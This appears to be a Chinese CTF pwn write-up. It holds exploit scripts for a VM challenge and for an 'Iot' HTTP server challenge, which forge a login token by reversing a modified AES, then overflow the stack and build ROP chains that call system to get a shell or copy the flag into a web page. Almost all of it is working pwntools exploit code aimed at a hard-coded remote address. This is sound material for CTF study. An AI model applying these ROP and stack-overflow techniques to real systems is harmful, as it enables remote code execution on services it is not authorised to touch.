payload += gen_op(3, 7, 2, 32)
payload += gen_op(2, 10, 1, 2)
payload += gen_op(3, 3, 2, 0x8)
payload += gen_op(0, 51, 1)
payload += gen_op(3, 3, 0, 0)
payload += gen_op(3, 3, 1, 0x4050A0)
payload += gen_op(3, 3, 2, 0x200)
payload += gen_op(0, 51, 0)
s(payload.ljust(0x200, b'\x00'))
stack = u64_ex(r(8)) - 0x1A0
leak_ex2(stack)
payload += gen_op(3, 3, 0, 0)
payload += gen_op(3, 3, 1, stack & 0xFFFFFFFF)
payload += gen_op(3, 3, 2, (stack >> 32) & 0xFFFFFFFF)
payload += gen_op(3, 7, 2, 32)
payload += gen_op(2, 10, 1, 2)
payload += gen_op(3, 3, 2, 0x200)
payload += gen_op(0, 51, 0)
s(payload.ljust(0x200, b'\x00'))
CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
sh = CG.bin_sh()
ret = CG.ret()
payload = flat([rdi, sh, ret, libc.sym.system])
s(payload.ljust(0x200, b'\x00'))
ia()
Iot
login 是个魔改 aes,call 洋参即可

work 路由可以往堆写东西,也可以直接栈溢出
利用 magic gadget 改一个函数为 system,然后 call
将 flag 写到 work.html(题目提示静态资源不变)
#!/usr/bin/env python3
from pwncli import *
import requests
from bs4 import BeautifulSoup
import re
from Crypto.Cipher import AES
KEY = b"0123456789ABCDEF" # 16字节固定密钥
BLOCK_SIZE = 16
def encrypt_block16(plaintext: bytes) -> bytes:
"""加密单个16字节块(与 sub_401FDB 的单块加密一致)。"""
if len(plaintext) != BLOCK_SIZE:
raise ValueError("plaintext must be exactly 16 bytes")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.encrypt(plaintext)
def decrypt_block16(ciphertext: bytes) -> bytes:
"""解密单个16字节块。"""
if len(ciphertext) != BLOCK_SIZE:
raise ValueError("ciphertext must be exactly 16 bytes")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.decrypt(ciphertext)
def encrypt_ecb(data: bytes) -> bytes:
"""多块 ECB 加密(长度需为16的倍数,无填充)。"""
if len(data) % BLOCK_SIZE != 0:
raise ValueError("data length must be a multiple of 16 (no padding)")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.encrypt(data)
def decrypt_ecb(data: bytes) -> bytes:
"""多块 ECB 解密(长度需为16的倍数,无填充)。"""
if len(data) % BLOCK_SIZE != 0:
raise ValueError("data length must be a multiple of 16 (no padding)")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.decrypt(data)
def fetch_key(url: str, timeout: int = 10) -> str:
"""从登录页返回的 HTML 中提取 KEY 文本。"""
s = requests.Session()
resp = s.get(url, timeout=timeout)
resp.raise_for_status()
html = resp.text
# 优先用 DOM 解析,定位到 <div class="key-display"><strong>KEY</strong></div>
soup = BeautifulSoup(html, "html.parser")
node = soup.select_one(".key-display strong")
if node:
key = node.get_text(strip=True)
if key:
return key
# 回退:用正则匹配 strong 中的内容
m = re.search(r"<div[^>]*class=\"[^\"]*key-display[^\"]*\"[^>]*>.*?<strong>([^<]+)</strong>", html, re.S | re.I)
if m:
return m.group(1).strip()
raise ValueError("未在页面中找到 KEY,可能页面结构已变或未渲染")
class AES:
MIX_C = [[0x2, 0x3, 0x1, 0x1], [0x1, 0x2, 0x3, 0x1], [0x1, 0x1, 0x2, 0x3], [0x3, 0x1, 0x1, 0x2]]
I_MIXC = [[0xE, 0xB, 0xD, 0x9], [0x9, 0xE, 0xB, 0xD], [0xD, 0x9, 0xE, 0xB], [0xB, 0xD, 0x9, 0xE]]
RCon = [0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000]
S_BOX = [
[0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82],
[0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2],
[0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62],
[0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2],
[0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42],
[0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2],
[0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22],
[0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92],
[0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02],
[0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72],
[0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2],
[0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52],
[0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2],
[0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32],
[0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2],
[0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12],
]
I_SBOX = [
[0x41, 0xE8, 0x8F, 0x36, 0xDD, 0x84, 0x2B, 0xD2, 0x79, 0x20, 0xC7, 0x6E, 0x15, 0xBC, 0x63, 0x0A],
[0xB1, 0x58, 0xFF, 0xA6, 0x4D, 0xF4, 0x9B, 0x42, 0xE9, 0x90, 0x37, 0xDE, 0x85, 0x2C, 0xD3, 0x7A],
[0x21, 0xC8, 0x6F, 0x16, 0xBD, 0x64, 0x0B, 0xB2, 0x59, 0x00, 0xA7, 0x4E, 0xF5, 0x9C, 0x43, 0xEA],
[0x91, 0x38, 0xDF, 0x86, 0x2D, 0xD4, 0x7B, 0x22, 0xC9, 0x70, 0x17, 0xBE, 0x65, 0x0C, 0xB3, 0x5A],
[0x01, 0xA8, 0x4F, 0xF6, 0x9D, 0x44, 0xEB, 0x92, 0x39, 0xE0, 0x87, 0x2E, 0xD5, 0x7C, 0x23, 0xCA],
[0x71, 0x18, 0xBF, 0x66, 0x0D, 0xB4, 0x5B, 0x02, 0xA9, 0x50, 0xF7, 0x9E, 0x45, 0xEC, 0x93, 0x3A],
[0xE1, 0x88, 0x2F, 0xD6, 0x7D, 0x24, 0xCB, 0x72, 0x19, 0xC0, 0x67, 0x0E, 0xB5, 0x5C, 0x03, 0xAA],
[0x51, 0xF8, 0x9F, 0x46, 0xED, 0x94, 0x3B, 0xE2, 0x89, 0x30, 0xD7, 0x7E, 0x25, 0xCC, 0x73, 0x1A],
[0xC1, 0x68, 0x0F, 0xB6, 0x5D, 0x04, 0xAB, 0x52, 0xF9, 0xA0, 0x47, 0xEE, 0x95, 0x3C, 0xE3, 0x8A],
[0x31, 0xD8, 0x7F, 0x26, 0xCD, 0x74, 0x1B, 0xC2, 0x69, 0x10, 0xB7, 0x5E, 0x05, 0xAC, 0x53, 0xFA],
[0xA1, 0x48, 0xEF, 0x96, 0x3D, 0xE4, 0x8B, 0x32, 0xD9, 0x80, 0x27, 0xCE, 0x75, 0x1C, 0xC3, 0x6A],
[0x11, 0xB8, 0x5F, 0x06, 0xAD, 0x54, 0xFB, 0xA2, 0x49, 0xF0, 0x97, 0x3E, 0xE5, 0x8C, 0x33, 0xDA],
[0x81, 0x28, 0xCF, 0x76, 0x1D, 0xC4, 0x6B, 0x12, 0xB9, 0x60, 0x07, 0xAE, 0x55, 0xFC, 0xA3, 0x4A],
[0xF1, 0x98, 0x3F, 0xE6, 0x8D, 0x34, 0xDB, 0x82, 0x29, 0xD0, 0x77, 0x1E, 0xC5, 0x6C, 0x13, 0xBA],
[0x61, 0x08, 0xAF, 0x56, 0xFD, 0xA4, 0x4B, 0xF2, 0x99, 0x40, 0xE7, 0x8E, 0x35, 0xDC, 0x83, 0x2A],
[0xD1, 0x78, 0x1F, 0xC6, 0x6D, 0x14, 0xBB, 0x62, 0x09, 0xB0, 0x57, 0xFE, 0xA5, 0x4C, 0xF3, 0x9A],
]
def SubBytes(self, State):
# 字节替换
return [self.S_BOX[i][j] for i, j in [(_ >> 4, _ & 0xF) for _ in State]]
def SubBytes_Inv(self, State):
# 字节逆替换
return [self.I_SBOX[i][j] for i, j in [(_ >> 4, _ & 0xF) for _ in State]]
def ShiftRows(self, S):
# 行移位
return [S[0], S[5], S[10], S[15], S[4], S[9], S[14], S[3], S[8], S[13], S[2], S[7], S[12], S[1], S[6], S[11]]
def ShiftRows_Inv(self, S):
# 逆行移位
return [S[0], S[13], S[10], S[7], S[4], S[1], S[14], S[11], S[8], S[5], S[2], S[15], S[12], S[9], S[6], S[3]]
def MixColumns(self, State):
# 列混合
return self.Matrix_Mul(self.MIX_C, State)
def MixColumns_Inv(self, State):
# 逆列混合
return self.Matrix_Mul(self.I_MIXC, State)
def RotWord(self, _4byte_block):
# 用于生成轮密钥的字移位
return ((_4byte_block & 0xFFFFFF) << 8) + (_4byte_block >> 24)
def SubWord(self, _4byte_block):
# 用于生成密钥的字节替换
result = 0
for position in range(4):
i = _4byte_block >> position * 8 + 4 & 0xF
j = _4byte_block >> position * 8 & 0xF
result ^= self.S_BOX[i][j] << position * 8
return result
def mod(self, poly, mod=0b100011011):
# poly模多项式mod
while poly.bit_length() > 8:
poly ^= mod << poly.bit_length() - 9
return poly
def mul(self, poly1, poly2):
# 多项式相乘
result = 0
for index in range(poly2.bit_length()):
if poly2 & 1 << index:
result ^= poly1 << index
return result
def Matrix_Mul(self, M1, M2): # M1 = MIX_C M2 = State
# 用于列混合的矩阵相乘
M = [0] * 16
for row in range(4):
for col in range(4):
for Round in range(4):
M[row + col * 4] ^= self.mul(M1[row][Round], M2[Round + col * 4])
M[row + col * 4] = self.mod(M[row + col * 4])
return M
def round_key_generator(self, _16bytes_key):
# 轮密钥产生
w = [_16bytes_key >> 96, _16bytes_key >> 64 & 0xFFFFFFFF, _16bytes_key >> 32 & 0xFFFFFFFF, _16bytes_key & 0xFFFFFFFF] + [0] * 40
for i in range(4, 44):
temp = w[i - 1]
if not i % 4:
temp = self.SubWord(self.RotWord(temp)) ^ self.RCon[i // 4 - 1]
w[i] = w[i - 4] ^ temp
return [self.num_2_16bytes(sum([w[4 * i] << 96, w[4 * i + 1] << 64, w[4 * i + 2] << 32, w[4 * i + 3]])) for i in range(11)]
def AddRoundKey(self, State, RoundKeys, index):
# 异或轮密钥
return self._16bytes_xor(State, RoundKeys[index])
def _16bytes_xor(self, _16bytes_1, _16bytes_2):
return [_16bytes_1[i] ^ _16bytes_2[i] for i in range(16)]
def _16bytes2num(cls, _16bytes):
# 16字节转数字
return int.from_bytes(_16bytes, byteorder='big')
def num_2_16bytes(cls, num):
# 数字转16字节
return num.to_bytes(16, byteorder='big')
def aes_encrypt(self, plaintext_list, RoundKeys):
State = plaintext_list
State = self.AddRoundKey(State, RoundKeys, 0)
for Round in range(1, 10):
State = self.SubBytes(State)
State = self.ShiftRows(State)
State = self.MixColumns(State)
State = self.AddRoundKey(State, RoundKeys, Round)
State = self.SubBytes(State)
State = self.ShiftRows(State)
State = self.AddRoundKey(State, RoundKeys, 10)
return State
def aes_decrypt(self, ciphertext_list, RoundKeys):
State = ciphertext_list
State = self.AddRoundKey(State, RoundKeys, 10)
for Round in range(1, 10):
State = self.ShiftRows_Inv(State)
State = self.SubBytes_Inv(State)
State = self.AddRoundKey(State, RoundKeys, 10 - Round)
State = self.MixColumns_Inv(State)
State = self.ShiftRows_Inv(State)
State = self.SubBytes_Inv(State)
State = self.AddRoundKey(State, RoundKeys, 0)
return State
def bytes_to_hex_int(data: bytes) -> int:
"""将 bytes 转换为十六进制整数"""
return int(data.hex(), 16)
def get_token(data: bytes):
aes = AES()
key = 0x30313233343536373839414243444546
RoundKeys = aes.round_key_generator(key)
# 将 bytes 转换为整数
ciphertext = int(data.hex(), 16)
# 解密
ciphertext = aes.num_2_16bytes(ciphertext)
plaintext = aes.aes_encrypt(ciphertext, RoundKeys)
return hex(aes._16bytes2num(plaintext)).replace('0x', '')
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './httpd')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc('./libc.so.6')
cmd = '''
# b *0x40265C
b *0x4031d4
# b *0x402FAB
# ida
# dir /mnt/f/Documents/CTF/glibc/glibc-2.31
c
'''
launch_gdb(cmd)
url = "http://127.0.0.1:9999/"
url = "http://45.40.247.139:23174/"
sleep(1)
# if local_flag != "remote":
# ru(b'Server running on port 9999\n')
key = fetch_key(url + "login.html")
log_ex(f"key: {key.encode().hex()}")
token = get_token(key.encode())
# token = decrypt_ecb(key.encode())
# log_ex(f"token: {token.hex()}")
# b0 = b'\x00' * 16
req = requests.post(url + "login", data=f"ciphertext={token}")
def work(payload):
log_ex(f"payload: {payload}")
try:
req = requests.post(url + "work", data=payload)
except:
return
log_ex(req.text)
def log(idx):
req = requests.post(url + "log", data=f"index={idx}")
return req.text
def csu(rdi=0, rsi=0, rdx=0, rip=0):
return flat([0x40362A, 0, 1, rdi, rsi, rdx, rip, 0x403610]) + p64(0) * 7
CG.set_find_area(True, False)
rdi = CG.pop_rdi_ret()
rsi_r15 = CG.pop_rsi_r15_ret()
ret = CG.ret()
rbx_rbp = 0x4016AE
rax_rbx_rbp = 0x40283C
magic = 0x4014DC
call_rax = 0x401A83 # : call qword ptr [rax - 0x3b7cb770]; sub byte ptr [rbx + 0x5d], bl; ret;
memcpy_got = 0x406100
memcpy_plt = 0x4013F0
time_got = 0x406108
work('/flag')
work(b'a' * 0x1D + p64(ret) + b'cat /flag>/home/ctf/work.html\x00' + b'a' * 0x400 + b'\n')
ret1 = log(1)
log_ex(ret1)
heap1 = int(ret1[ret1.find(':0x') + 1 :], 16)
leak_ex2(heap1)
libc_base = heap1 - 0xAE70 + 0x7C00000
set_current_libc_base_and_log(libc_base)
payload = flat([rbx_rbp, libc.sym.system - libc.sym.printf, 0x406018 + 0x3D, magic, rdi, heap1 + 0x20, rax_rbx_rbp, 0x406018 + 0x3B7CB770, 0, 0, call_rax])
work(b'a' * (0x48 + 5) + payload + b'YCB2025')
sleep(2)
key = fetch_key(url + "login.html")
log_ex(f"key: {key.encode().hex()}")
token = get_token(key.encode())
req = requests.post(url + "login", data=f"ciphertext={token}")
req = requests.get(url + "work.html")
log_ex(req.text)
ia()
碎碎念




四个一血,真不错
现在 ai 加上 idamcp 已经可以秒杀大部分 pwn 的逆向+挖洞了,如此次比赛的 vm
评论


